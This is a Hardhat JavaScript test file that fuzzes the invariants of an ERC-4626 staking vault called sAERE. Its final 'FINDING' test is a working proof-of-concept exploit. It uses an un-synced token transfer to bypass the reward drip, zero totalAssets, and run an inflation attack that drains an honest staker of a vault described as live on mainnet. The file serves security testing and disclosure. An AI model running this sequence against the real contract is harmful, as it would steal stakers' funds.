Aere Network public source. Everything here can be checked against the live chain (chain id 2800, https://rpc.aere.network). Scope note, stated up front rather than buried: consensus on chain 2800 is classical secp256k1 ECDSA QBFT. The post-quantum work in this repository is at the signature, precompile, account and transport layers. Nothing here makes the consensus post-quantum, and no document in it should be read as claiming so.
564 lines
29 KiB
JavaScript
564 lines
29 KiB
JavaScript
// =============================================================================
|
|
// SEEDED RANDOMIZED PROPERTY / STATEFUL-INVARIANT fuzzing for the LIVE sAERE
|
|
// vault (canonical mainnet 0xA2125bE9C6fd4196D9F94757Df18B3a2A5e650b0 —
|
|
// R6-hardened ERC-4626 staking receipt with a 7-day linear reward drip).
|
|
//
|
|
// Source under test: contracts/staking/sAERE.sol (matched to the live address
|
|
// via sdk-js/src/addresses.ts). Underlying = the real WAERE (contracts/WAERE.sol).
|
|
//
|
|
// TOOLCHAIN: hardhat-based randomized invariant fuzzing (NOT Foundry — `forge`
|
|
// is not installed and the repo builds through hardhat with OZ 4.9.6 + viaIR).
|
|
// Every random choice comes from mulberry32(seed); the base seed is printed at
|
|
// suite start and pinnable via FUZZ_SEED. On any break, the failing
|
|
// (campaign, step, actor, action, values) is embedded in the assertion message
|
|
// for a minimal repro.
|
|
//
|
|
// SCOPE: run this file in ISOLATION (the full suite OOM/segfaults on the
|
|
// unrelated ML-DSA PQC KAT tests):
|
|
// npx hardhat test test/saere-4626-invariant-property.test.js
|
|
// No deploy to any live node, no contract-logic change, one new test file only.
|
|
//
|
|
// INVARIANTS FUZZED (exactly the sAERE brief):
|
|
// * ERC-4626 convertToShares / convertToAssets are self-consistent with the
|
|
// OZ virtual-offset formula, and monotonic non-decreasing in their arg.
|
|
// * Rounding ALWAYS favors the vault: convertToAssets(convertToShares(x))<=x,
|
|
// convertToShares(convertToAssets(s))<=s, previewMint>=previewRedeem,
|
|
// previewWithdraw>=previewDeposit.
|
|
// * SOLVENCY: totalAssets() never exceeds the vault's real WAERE balance, so
|
|
// a depositor can never redeem more underlying than their shares back.
|
|
// * ACCOUNTING: totalAssets == balance - undistributedReserve, the drip
|
|
// reserve equals rewardRate*(periodFinish-now), and totalSupply reconciles
|
|
// to the sum of every holder's shares (incl. the dead seed) across
|
|
// interleaved deposit/mint/withdraw/redeem by multiple actors.
|
|
// * deposit-then-immediate-redeem (no active drip) returns <= deposited.
|
|
// * NO VALUE CREATION: cumulative WAERE paid out to actors never exceeds
|
|
// cumulative WAERE they deposited plus total yield injected.
|
|
// * Under yield-only (sink-path, always sync'd) inflows + time, the share
|
|
// price (pricePerShare) is monotone NON-DECREASING.
|
|
//
|
|
// No em-dashes anywhere in this file.
|
|
// =============================================================================
|
|
|
|
const { expect } = require("chai");
|
|
const { ethers, network } = require("hardhat");
|
|
const { time } = require("@nomicfoundation/hardhat-network-helpers");
|
|
|
|
/* ------------------------------- seeded PRNG ------------------------------ */
|
|
function mulberry32(a) {
|
|
return function () {
|
|
a |= 0;
|
|
a = (a + 0x6d2b79f5) | 0;
|
|
let t = Math.imul(a ^ (a >>> 15), 1 | a);
|
|
t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
|
|
return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
|
|
};
|
|
}
|
|
const BASE_SEED = process.env.FUZZ_SEED ? Number(process.env.FUZZ_SEED) : 0x5AE2E626;
|
|
function rngFor(tag, campaign) {
|
|
let h = BASE_SEED ^ (campaign * 0x9e3779b1);
|
|
for (let i = 0; i < tag.length; i++) h = (Math.imul(h, 31) + tag.charCodeAt(i)) | 0;
|
|
return mulberry32(h >>> 0);
|
|
}
|
|
const ri = (rng, min, max) => min + Math.floor(rng() * (max - min + 1)); // inclusive
|
|
const pick = (rng, arr) => arr[Math.floor(rng() * arr.length)];
|
|
const chance = (rng, p) => rng() < p;
|
|
|
|
/* ------------------------------- misc helpers ----------------------------- */
|
|
const E = (n) => ethers.parseEther(String(n));
|
|
const MAXU = ethers.MaxUint256;
|
|
const DEAD_ADDRESS = "0x000000000000000000000000000000000000dEaD";
|
|
const DEAD_SEED = 1000n;
|
|
const OFFSET = 10n ** 6n; // sAERE._decimalsOffset() == 6
|
|
|
|
// OZ Math.mulDiv floor.
|
|
function mulDivFloor(x, y, d) {
|
|
return (x * y) / d;
|
|
}
|
|
|
|
async function setBal(addr, amountWei) {
|
|
await network.provider.send("hardhat_setBalance", [addr, "0x" + amountWei.toString(16)]);
|
|
}
|
|
async function latestTs() {
|
|
return BigInt((await ethers.provider.getBlock("latest")).timestamp);
|
|
}
|
|
|
|
// Random asset amount: mix of sub-wei-scale dust, small, and fractional-ether
|
|
// values so rounding is stressed hard.
|
|
function rndAssets(rng) {
|
|
const k = rng();
|
|
if (k < 0.15) return BigInt(ri(rng, 1, 1_000_000)); // 1 wei .. 1e6 wei
|
|
if (k < 0.5) return E(ri(rng, 1, 200));
|
|
const num = E(ri(rng, 1, 50_000));
|
|
return num / BigInt(ri(rng, 1, 997)); // fractional-ether, > 0
|
|
}
|
|
|
|
// Iteration counts (env-overridable so a quick smoke can shrink them).
|
|
const N = {
|
|
GEN_CAMPAIGNS: Number(process.env.SAERE_GEN_CAMPAIGNS || 6),
|
|
GEN_STEPS: Number(process.env.SAERE_GEN_STEPS || 70),
|
|
YIELD_CAMPAIGNS: Number(process.env.SAERE_YIELD_CAMPAIGNS || 4),
|
|
YIELD_STEPS: Number(process.env.SAERE_YIELD_STEPS || 55),
|
|
};
|
|
|
|
// =============================================================================
|
|
describe("INVARIANT: sAERE ERC-4626 staking-receipt vault (R6 drip)", function () {
|
|
this.timeout(0);
|
|
|
|
let signers, waereF, saereF;
|
|
|
|
before(async function () {
|
|
signers = await ethers.getSigners();
|
|
waereF = await ethers.getContractFactory("WAERE");
|
|
saereF = await ethers.getContractFactory("sAERE");
|
|
console.log(
|
|
` [saere] base seed 0x${BASE_SEED.toString(16)} | ` +
|
|
`${N.GEN_CAMPAIGNS}x${N.GEN_STEPS} general + ${N.YIELD_CAMPAIGNS}x${N.YIELD_STEPS} yield-only`
|
|
);
|
|
});
|
|
|
|
// Fresh WAERE + sAERE. Mirrors the production deploy: the deployer must hold
|
|
// and pre-approve the 1000-wei dead-share seed to the future sAERE address.
|
|
async function deployStack() {
|
|
const deployer = signers[0];
|
|
const waere = await waereF.deploy();
|
|
await waere.waitForDeployment();
|
|
|
|
const nonce = await ethers.provider.getTransactionCount(deployer.address);
|
|
const futureSaere = ethers.getCreateAddress({ from: deployer.address, nonce: nonce + 2 });
|
|
await (await waere.connect(deployer).deposit({ value: DEAD_SEED })).wait();
|
|
await (await waere.connect(deployer).approve(futureSaere, DEAD_SEED)).wait();
|
|
|
|
const saere = await saereF.deploy(await waere.getAddress());
|
|
await saere.waitForDeployment();
|
|
expect(await saere.getAddress(), "future-address prediction drifted").to.equal(futureSaere);
|
|
return { waere, saere, saereAddr: await saere.getAddress(), waereAddr: await waere.getAddress() };
|
|
}
|
|
|
|
// sample points for convert consistency / monotonicity / round-trip.
|
|
const XS = [1n, 1000n, E(1), (E(1) * 7n) / 3n, E(12345)]; // assets
|
|
const SS = [1n, 1_000_000n, E(1), (E(1) * 5n) / 2n, E(9999)]; // shares
|
|
|
|
// The full invariant battery. `state` carries cumulative accounting.
|
|
async function assertInvariants(ctx, saere, waere, saereAddr, actors, state, checkPriceMono) {
|
|
const TS = await saere.totalSupply();
|
|
const bal = await waere.balanceOf(saereAddr);
|
|
const TA = await saere.totalAssets();
|
|
const as = await saere.atomicState();
|
|
// as = [balance, totalAssets_, undistributed, totalSupply_, rewardRate_, periodFinish_, lastObservedBalance_]
|
|
const asBal = as[0], asTA = as[1], asUnd = as[2], asTS = as[3], asRR = as[4], asPF = as[5];
|
|
const now = await latestTs();
|
|
|
|
// ---- accounting: atomicState agrees with the individual getters ----
|
|
expect(asBal, `[saere ATOMIC-bal] ${ctx}`).to.equal(bal);
|
|
expect(asTA, `[saere ATOMIC-ta] ${ctx}`).to.equal(TA);
|
|
expect(asTS, `[saere ATOMIC-ts] ${ctx}`).to.equal(TS);
|
|
|
|
// ---- drip math: undistributed == rewardRate*(periodFinish-now) or 0 ----
|
|
const expUnd = now < asPF ? asRR * (asPF - now) : 0n;
|
|
expect(asUnd, `[saere DRIP] undistributed != rate*remaining ${ctx} rr=${asRR} pf=${asPF} now=${now}`)
|
|
.to.equal(expUnd);
|
|
|
|
// ---- totalAssets == balance - undistributedReserve (never underflowing) ----
|
|
const expTA = bal > asUnd ? bal - asUnd : 0n;
|
|
expect(TA, `[saere TA-DEF] totalAssets != balance-undistributed ${ctx} bal=${bal} und=${asUnd}`)
|
|
.to.equal(expTA);
|
|
|
|
// ---- SOLVENCY: the vault never claims more assets than it actually holds.
|
|
// This is what guarantees a redeemer can be paid in full. ----
|
|
expect(TA, `[saere SOLVENCY] totalAssets > WAERE balance ${ctx} TA=${TA} bal=${bal}`).to.be.lte(bal);
|
|
// NOTE: `undistributed <= balance` is deliberately NOT asserted here — it is
|
|
// VIOLATED by an un-synced arrival and is captured as a standalone finding in
|
|
// the "FINDING (drip double-count)" test below. See that test for the repro.
|
|
|
|
// ---- supply reconciliation: totalSupply == deadSeed + sum(holder shares) ----
|
|
let sumShares = DEAD_SEED;
|
|
for (const a of actors) sumShares += await saere.balanceOf(a.address);
|
|
expect(sumShares, `[saere SUPPLY] totalSupply != sum of balances ${ctx}`).to.equal(TS);
|
|
|
|
// ---- convert consistency with the OZ virtual-offset formula ----
|
|
for (const x of XS) {
|
|
const onShares = await saere.convertToShares(x);
|
|
const expShares = mulDivFloor(x, TS + OFFSET, TA + 1n);
|
|
expect(onShares, `[saere C2S] convertToShares(${x}) != formula ${ctx} TS=${TS} TA=${TA}`).to.equal(expShares);
|
|
// preview identity (down-rounding path).
|
|
expect(await saere.previewDeposit(x), `[saere PREVIEW-DEP] ${ctx}`).to.equal(onShares);
|
|
// withdraw rounds shares UP -> never fewer than a deposit would mint.
|
|
expect(await saere.previewWithdraw(x), `[saere PREVIEW-WD] withdraw shares < deposit shares ${ctx}`).to.be.gte(onShares);
|
|
// round-trip favors the vault.
|
|
const back = await saere.convertToAssets(onShares);
|
|
expect(back, `[saere RT-A] convertToAssets(convertToShares(${x})) > x ${ctx} back=${back}`).to.be.lte(x);
|
|
}
|
|
for (const s of SS) {
|
|
const onAssets = await saere.convertToAssets(s);
|
|
const expAssets = mulDivFloor(s, TA + 1n, TS + OFFSET);
|
|
expect(onAssets, `[saere C2A] convertToAssets(${s}) != formula ${ctx} TS=${TS} TA=${TA}`).to.equal(expAssets);
|
|
expect(await saere.previewRedeem(s), `[saere PREVIEW-RDM] ${ctx}`).to.equal(onAssets);
|
|
// mint rounds assets UP -> costs at least what a redeem would return.
|
|
expect(await saere.previewMint(s), `[saere PREVIEW-MINT] mint assets < redeem assets ${ctx}`).to.be.gte(onAssets);
|
|
const back = await saere.convertToShares(onAssets);
|
|
expect(back, `[saere RT-S] convertToShares(convertToAssets(${s})) > s ${ctx} back=${back}`).to.be.lte(s);
|
|
}
|
|
|
|
// ---- monotonicity of both conversions in their argument (fixed state) ----
|
|
for (let i = 1; i < XS.length; i++) {
|
|
expect(await saere.convertToShares(XS[i]), `[saere MONO-S] convertToShares not monotone ${ctx}`)
|
|
.to.be.gte(await saere.convertToShares(XS[i - 1]));
|
|
}
|
|
for (let i = 1; i < SS.length; i++) {
|
|
expect(await saere.convertToAssets(SS[i]), `[saere MONO-A] convertToAssets not monotone ${ctx}`)
|
|
.to.be.gte(await saere.convertToAssets(SS[i - 1]));
|
|
}
|
|
|
|
// ---- NO VALUE CREATION: actors never collectively withdraw more than the
|
|
// total real WAERE that ever entered the vault = deposits + yield + the
|
|
// 1000-wei dead seed (put in by the deployer at construction). This is
|
|
// the exact conservation bound (balance = seed+dep+yield-withdrawn >= 0).
|
|
expect(
|
|
state.withdrawn,
|
|
`[saere NO-CREATE] withdrawn ${state.withdrawn} > deposited ${state.deposited} + yield ${state.yield} + seed ${DEAD_SEED} ${ctx}`
|
|
).to.be.lte(state.deposited + state.yield + DEAD_SEED);
|
|
|
|
// ---- optional: share price monotone non-decreasing (yield-only campaigns) ----
|
|
if (checkPriceMono) {
|
|
const pps = await saere.pricePerShare();
|
|
expect(pps, `[saere PRICE-MONO] pricePerShare dropped ${ctx} prev=${state.prevPrice} now=${pps}`)
|
|
.to.be.gte(state.prevPrice);
|
|
state.prevPrice = pps;
|
|
}
|
|
}
|
|
|
|
async function fundActors(waere, saereAddr, actors) {
|
|
for (const a of actors) {
|
|
await setBal(a.address, E("100000000000"));
|
|
await (await waere.connect(a).deposit({ value: E("1000000000") })).wait();
|
|
await (await waere.connect(a).approve(saereAddr, MAXU)).wait();
|
|
}
|
|
}
|
|
|
|
// sink-path yield: transfer WAERE in then ping sync() (exactly what AereSink
|
|
// does). Returns the injected amount.
|
|
async function injectYield(waere, saere, saereAddr, feeder, y) {
|
|
await (await waere.connect(feeder).deposit({ value: y })).wait();
|
|
await (await waere.connect(feeder).transfer(saereAddr, y)).wait();
|
|
await (await saere.sync()).wait();
|
|
return y;
|
|
}
|
|
|
|
// -------------------------------------------------------------------------
|
|
it("general interleaving: solvency, accounting, rounding-favors-vault, no value creation", async function () {
|
|
let steps = 0, deposits = 0, mints = 0, withdraws = 0, redeems = 0, yields = 0, donations = 0, instantRT = 0;
|
|
|
|
for (let c = 0; c < N.GEN_CAMPAIGNS; c++) {
|
|
const rng = rngFor("gen", c);
|
|
const { waere, saere, saereAddr } = await deployStack();
|
|
const actors = [signers[1], signers[2], signers[3], signers[4], signers[5]];
|
|
const feeder = signers[9];
|
|
await setBal(feeder.address, E("100000000000"));
|
|
await fundActors(waere, saereAddr, actors);
|
|
|
|
const state = { deposited: 0n, withdrawn: 0n, yield: 0n, prevPrice: 0n };
|
|
await assertInvariants(`c${c} init`, saere, waere, saereAddr, actors, state);
|
|
|
|
// Guaranteed instant round-trip on the fresh (drip-inactive) vault: a
|
|
// deposit immediately redeemed can never return more than was put in.
|
|
{
|
|
const rt = pick(rng, actors);
|
|
const a = E(ri(rng, 1, 1000));
|
|
const shBefore = await saere.balanceOf(rt.address);
|
|
const bBefore = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(rt).deposit(a, rt.address)).wait();
|
|
state.deposited += (await waere.balanceOf(saereAddr)) - bBefore;
|
|
const minted = (await saere.balanceOf(rt.address)) - shBefore;
|
|
if (minted > 0n) {
|
|
const b2 = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(rt).redeem(minted, rt.address, rt.address)).wait();
|
|
const out = b2 - (await waere.balanceOf(saereAddr));
|
|
state.withdrawn += out;
|
|
expect(out, `[saere INSTANT-RT-INIT] c${c} deposit(${a})->redeem out=${out}`).to.be.lte(a);
|
|
instantRT++;
|
|
}
|
|
await assertInvariants(`c${c} init-rt`, saere, waere, saereAddr, actors, state);
|
|
}
|
|
|
|
for (let s = 0; s < N.GEN_STEPS; s++) {
|
|
const action = pick(rng, [
|
|
"deposit", "deposit", "mint", "withdraw", "redeem", "redeem",
|
|
"yield", "yield", "donate", "advance", "sync", "instantRT",
|
|
]);
|
|
const actor = pick(rng, actors);
|
|
const ctx = `c${c} s${s} actor=${actor.address.slice(0, 8)} action=${action}`;
|
|
|
|
try {
|
|
if (action === "deposit") {
|
|
const a = rndAssets(rng);
|
|
const before = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(actor).deposit(a, actor.address)).wait();
|
|
state.deposited += (await waere.balanceOf(saereAddr)) - before;
|
|
deposits++;
|
|
} else if (action === "mint") {
|
|
const sh = rndAssets(rng); // interpret as target shares
|
|
const need = await saere.previewMint(sh);
|
|
if (need > (await waere.balanceOf(actor.address))) { steps++; continue; }
|
|
const before = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(actor).mint(sh, actor.address)).wait();
|
|
state.deposited += (await waere.balanceOf(saereAddr)) - before;
|
|
mints++;
|
|
} else if (action === "withdraw") {
|
|
const maxW = await saere.maxWithdraw(actor.address);
|
|
if (maxW === 0n) { steps++; continue; }
|
|
const a = maxW === 1n ? 1n : BigInt(ri(rng, 1, 1_000_000)) * maxW / 1_000_000n;
|
|
const amt = a === 0n ? 1n : a;
|
|
const before = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(actor).withdraw(amt, actor.address, actor.address)).wait();
|
|
state.withdrawn += before - (await waere.balanceOf(saereAddr));
|
|
withdraws++;
|
|
} else if (action === "redeem") {
|
|
const shBal = await saere.balanceOf(actor.address);
|
|
if (shBal === 0n) { steps++; continue; }
|
|
const sh = chance(rng, 0.35) ? shBal : (BigInt(ri(rng, 1, 1_000_000)) * shBal) / 1_000_000n;
|
|
const amt = sh === 0n ? 1n : sh;
|
|
const before = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(actor).redeem(amt, actor.address, actor.address)).wait();
|
|
state.withdrawn += before - (await waere.balanceOf(saereAddr));
|
|
redeems++;
|
|
} else if (action === "yield") {
|
|
const y = rndAssets(rng);
|
|
state.yield += await injectYield(waere, saere, saereAddr, feeder, y);
|
|
yields++;
|
|
} else if (action === "donate") {
|
|
// unsynced direct transfer (not the intended path; solvency + no-creation
|
|
// must still hold even though the share price briefly reads high).
|
|
const y = rndAssets(rng);
|
|
await (await waere.connect(feeder).deposit({ value: y })).wait();
|
|
await (await waere.connect(feeder).transfer(saereAddr, y)).wait();
|
|
state.yield += y;
|
|
donations++;
|
|
} else if (action === "advance") {
|
|
await time.increase(ri(rng, 1, 3 * 24 * 60 * 60)); // up to 3 days
|
|
await network.provider.send("evm_mine");
|
|
} else if (action === "sync") {
|
|
await (await saere.sync()).wait();
|
|
} else if (action === "instantRT") {
|
|
// deposit-then-immediate-redeem must never return more than deposited,
|
|
// but ONLY when there is no active drip and no pending unsynced arrival
|
|
// (otherwise legitimate vesting accrues to the shares between the two txs).
|
|
const as = await saere.atomicState();
|
|
if (as[2] === 0n && as[6] === as[0]) {
|
|
const a = E(ri(rng, 1, 500));
|
|
const shBefore = await saere.balanceOf(actor.address);
|
|
const balBefore = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(actor).deposit(a, actor.address)).wait();
|
|
state.deposited += (await waere.balanceOf(saereAddr)) - balBefore;
|
|
// exactly the shares this deposit minted for the actor.
|
|
const minted = (await saere.balanceOf(actor.address)) - shBefore;
|
|
if (minted > 0n) {
|
|
const b2 = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(actor).redeem(minted, actor.address, actor.address)).wait();
|
|
const out = b2 - (await waere.balanceOf(saereAddr));
|
|
state.withdrawn += out;
|
|
expect(out, `[saere INSTANT-RT] deposit(${a})->redeem returned ${out} > deposit ${a} ${ctx}`).to.be.lte(a);
|
|
instantRT++;
|
|
}
|
|
}
|
|
}
|
|
} catch (e) {
|
|
// Reverts on edge amounts (e.g. rounding to 0 shares/assets) are legal;
|
|
// the invariant battery below still runs on the unchanged state.
|
|
if (/INVARIANT|saere [A-Z]/.test(String(e.message))) throw e;
|
|
}
|
|
|
|
await assertInvariants(ctx, saere, waere, saereAddr, actors, state);
|
|
steps++;
|
|
}
|
|
|
|
// ---- finale: vest everything, then everyone redeems in full. The vault
|
|
// must remain solvent and no actor can have extracted more than in. ----
|
|
await time.increase(8 * 24 * 60 * 60); // > DRIP_DURATION
|
|
await network.provider.send("evm_mine");
|
|
await (await saere.sync()).wait();
|
|
for (const a of actors) {
|
|
const shBal = await saere.balanceOf(a.address);
|
|
if (shBal > 0n) {
|
|
const before = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(a).redeem(shBal, a.address, a.address)).wait();
|
|
state.withdrawn += before - (await waere.balanceOf(saereAddr));
|
|
}
|
|
}
|
|
await assertInvariants(`c${c} finale`, saere, waere, saereAddr, actors, state);
|
|
// Every actor share is gone; only the dead seed remains.
|
|
expect(state.withdrawn, `[saere FINALE-CONSERVE] c${c}`).to.be.lte(state.deposited + state.yield + DEAD_SEED);
|
|
}
|
|
|
|
console.log(
|
|
` [saere gen] steps=${steps} dep=${deposits} mint=${mints} wd=${withdraws} rdm=${redeems} ` +
|
|
`yield=${yields} donate=${donations} instantRT=${instantRT}`
|
|
);
|
|
expect(steps).to.be.greaterThan(300);
|
|
expect(deposits + mints).to.be.greaterThan(40);
|
|
expect(redeems + withdraws).to.be.greaterThan(40);
|
|
expect(instantRT).to.be.greaterThan(0);
|
|
});
|
|
|
|
// -------------------------------------------------------------------------
|
|
it("yield-only (sink-path, always sync'd): share price is monotone non-decreasing", async function () {
|
|
let steps = 0, yields = 0, ops = 0, priceRises = 0;
|
|
|
|
for (let c = 0; c < N.YIELD_CAMPAIGNS; c++) {
|
|
const rng = rngFor("yield", c);
|
|
const { waere, saere, saereAddr } = await deployStack();
|
|
const actors = [signers[1], signers[2], signers[3]];
|
|
const feeder = signers[9];
|
|
await setBal(feeder.address, E("100000000000"));
|
|
await fundActors(waere, saereAddr, actors);
|
|
|
|
const state = { deposited: 0n, withdrawn: 0n, yield: 0n, prevPrice: 0n };
|
|
// seed some real stake so the price is meaningful (counted into deposited).
|
|
for (const a of actors) {
|
|
const before = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(a).deposit(E(ri(rng, 100, 5000)), a.address)).wait();
|
|
state.deposited += (await waere.balanceOf(saereAddr)) - before;
|
|
}
|
|
state.prevPrice = await saere.pricePerShare();
|
|
await assertInvariants(`yc${c} init`, saere, waere, saereAddr, actors, state, true);
|
|
|
|
for (let s = 0; s < N.YIELD_STEPS; s++) {
|
|
const action = pick(rng, ["yield", "yield", "yield", "advance", "advance", "deposit", "withdraw", "redeem"]);
|
|
const actor = pick(rng, actors);
|
|
const ctx = `yc${c} s${s} action=${action}`;
|
|
const priceBefore = await saere.pricePerShare();
|
|
|
|
try {
|
|
if (action === "yield") {
|
|
state.yield += await injectYield(waere, saere, saereAddr, feeder, rndAssets(rng));
|
|
yields++;
|
|
} else if (action === "advance") {
|
|
await time.increase(ri(rng, 1, 2 * 24 * 60 * 60));
|
|
await network.provider.send("evm_mine");
|
|
} else if (action === "deposit") {
|
|
const a = rndAssets(rng);
|
|
const before = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(actor).deposit(a, actor.address)).wait();
|
|
state.deposited += (await waere.balanceOf(saereAddr)) - before;
|
|
ops++;
|
|
} else if (action === "withdraw") {
|
|
const maxW = await saere.maxWithdraw(actor.address);
|
|
if (maxW > 1n) {
|
|
const amt = (BigInt(ri(rng, 1, 900_000)) * maxW) / 1_000_000n || 1n;
|
|
const before = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(actor).withdraw(amt, actor.address, actor.address)).wait();
|
|
state.withdrawn += before - (await waere.balanceOf(saereAddr));
|
|
ops++;
|
|
}
|
|
} else if (action === "redeem") {
|
|
const shBal = await saere.balanceOf(actor.address);
|
|
if (shBal > 0n) {
|
|
const sh = (BigInt(ri(rng, 1, 900_000)) * shBal) / 1_000_000n || 1n;
|
|
const before = await waere.balanceOf(saereAddr);
|
|
await (await saere.connect(actor).redeem(sh, actor.address, actor.address)).wait();
|
|
state.withdrawn += before - (await waere.balanceOf(saereAddr));
|
|
ops++;
|
|
}
|
|
}
|
|
} catch (e) {
|
|
if (/INVARIANT|saere [A-Z]/.test(String(e.message))) throw e;
|
|
}
|
|
|
|
const priceAfter = await saere.pricePerShare();
|
|
if (priceAfter > priceBefore) priceRises++;
|
|
await assertInvariants(ctx, saere, waere, saereAddr, actors, state, true);
|
|
steps++;
|
|
}
|
|
}
|
|
|
|
console.log(` [saere yield] steps=${steps} yields=${yields} ops=${ops} priceRises=${priceRises}`);
|
|
expect(steps).to.be.greaterThan(150);
|
|
expect(yields).to.be.greaterThan(30);
|
|
expect(priceRises).to.be.greaterThan(0); // yield genuinely lifted the rate
|
|
});
|
|
|
|
// -------------------------------------------------------------------------
|
|
// FINDING (drip double-count / un-synced arrival). Deterministic minimal repro.
|
|
//
|
|
// The fuzzer (seed 0x3039 among others) breaks `undistributed <= balance`. Root
|
|
// cause: OZ 4.9.6 computes previewRedeem/maxWithdraw BEFORE _withdraw runs the
|
|
// vault's sync(). A raw WAERE transfer into the vault (an "arrival" that did NOT
|
|
// go through AereSink.flush, which is the ONLY inflow that syncs atomically) is:
|
|
// (1) counted in totalAssets() the instant it lands (totalAssets = rawBalance
|
|
// minus a reserve that does not yet know about the arrival), so it is
|
|
// immediately redeemable — DEFEATING the R5 HIGH-1 7-day anti-sandwich drip
|
|
// ("the share price cannot jump in a single block"); and
|
|
// (2) simultaneously re-booked into the drip reserve by the sync() that runs
|
|
// INSIDE the same redeem's _withdraw — so the same WAERE is counted twice:
|
|
// paid out to the redeemer AND locked into `undistributed`. A large-enough
|
|
// redeem then leaves undistributed > balance, so totalAssets() clamps to 0.
|
|
// (3) totalAssets()==0 with live shares re-opens the exact ERC-4626 inflation
|
|
// attack that R5 HIGH-4 (dead-seed + _decimalsOffset=6) was deployed to
|
|
// stop: the next depositor mints astronomically many shares and, once the
|
|
// phantom reserve vests, drains honest stakers.
|
|
//
|
|
// Reachable by ANY address on mainnet: WAERE is a standard ERC-20, so
|
|
// `WAERE.transfer(sAERE, x)` creates an un-synced arrival at will.
|
|
it("FINDING (drip double-count): un-synced WAERE arrival bypasses the drip, zeroes totalAssets, re-enables inflation", async function () {
|
|
const [deployer, alice, bob, feeder, attacker] = signers;
|
|
const { waere, saere, saereAddr } = await deployStack();
|
|
for (const s of [alice, bob, feeder, attacker]) {
|
|
await setBal(s.address, E("100000000000"));
|
|
await (await waere.connect(s).deposit({ value: E("1000000") })).wait();
|
|
await (await waere.connect(s).approve(saereAddr, MAXU)).wait();
|
|
}
|
|
|
|
// Two honest co-stakers, 50/50. Design intent: any later reward drips to BOTH
|
|
// over 7 days, 50/50.
|
|
await (await saere.connect(alice).deposit(E(100), alice.address)).wait();
|
|
await (await saere.connect(bob).deposit(E(100), bob.address)).wait();
|
|
const taBefore = await saere.totalAssets(); // ~200e18
|
|
|
|
// (1) A raw un-synced donation of 1000 WAERE. It should NOT be instantly
|
|
// recognized (drip), yet totalAssets jumps by the full amount immediately.
|
|
await (await waere.connect(feeder).transfer(saereAddr, E(1000))).wait();
|
|
const taAfterDonation = await saere.totalAssets();
|
|
expect(taAfterDonation - taBefore, "[FINDING] un-synced donation not counted in totalAssets")
|
|
.to.be.gte(E(999)); // full ~1000 jump in a single block -> drip bypassed on the READ
|
|
|
|
// (2) Alice redeems ALL her shares in the same block, before anyone syncs. She
|
|
// receives ~600 (100 principal + her entire 500 reward) with ZERO drip wait.
|
|
const aliceShares = await saere.balanceOf(alice.address);
|
|
const aBefore = await waere.balanceOf(alice.address);
|
|
await (await saere.connect(alice).redeem(aliceShares, alice.address, alice.address)).wait();
|
|
const aliceGain = (await waere.balanceOf(alice.address)) - aBefore;
|
|
expect(aliceGain, "[FINDING] whale did not instantly capture the un-dripped reward")
|
|
.to.be.gte(E(590)); // deposited 100, extracted ~600 in one block
|
|
|
|
// (2b) The same donation is now ALSO sitting in the drip reserve: undistributed
|
|
// exceeds the vault balance and totalAssets() has collapsed to 0.
|
|
const as = await saere.atomicState(); // [bal, TA, und, TS, rr, pf, lob]
|
|
expect(as[2], "[FINDING] reserve NOT double-counted (und<=bal held)").to.be.gt(as[0]);
|
|
expect(as[1], "[FINDING] totalAssets did not collapse to 0").to.equal(0n);
|
|
|
|
// (2c) Bob, an honest passive 50% staker owed ~600, is now worth NOTHING.
|
|
const bobShares = await saere.balanceOf(bob.address);
|
|
expect(await saere.previewRedeem(bobShares), "[FINDING] bob's shares not zeroed").to.equal(0n);
|
|
|
|
// (3) Inflation follow-on: while totalAssets()==0, a 1-WAERE deposit mints an
|
|
// astronomically large share balance; after the phantom reserve vests the
|
|
// attacker redeems far more than paid, draining the honest staker.
|
|
const atk0 = await saere.balanceOf(attacker.address);
|
|
await (await saere.connect(attacker).deposit(E(1), attacker.address)).wait();
|
|
const atkMinted = (await saere.balanceOf(attacker.address)) - atk0;
|
|
expect(atkMinted, "[FINDING] inflation mint not triggered").to.be.gt(E(1) * (10n ** 18n)); // >> normal
|
|
await time.increase(8 * 24 * 60 * 60); // vest the phantom reserve
|
|
await network.provider.send("evm_mine");
|
|
await (await saere.sync()).wait();
|
|
const atkOut = await saere.previewRedeem(atkMinted);
|
|
const bobOut = await saere.previewRedeem(await saere.balanceOf(bob.address));
|
|
expect(atkOut, "[FINDING] attacker did not extract more than deposited").to.be.gte(E(500)); // paid 1, redeems ~600
|
|
expect(bobOut, "[FINDING] honest staker not drained").to.be.lt(E(1)); // owed ~600, left with dust
|
|
|
|
console.log(
|
|
` [saere FINDING] taJump=${ethers.formatEther(taAfterDonation - taBefore)} ` +
|
|
`aliceGain=${ethers.formatEther(aliceGain)} und=${ethers.formatEther(as[2])} bal=${ethers.formatEther(as[0])} ` +
|
|
`TA0=${as[1]} atkPaid=1 atkOut=${ethers.formatEther(atkOut)} bobOut=${ethers.formatEther(bobOut)}`
|
|
);
|
|
});
|
|
});
|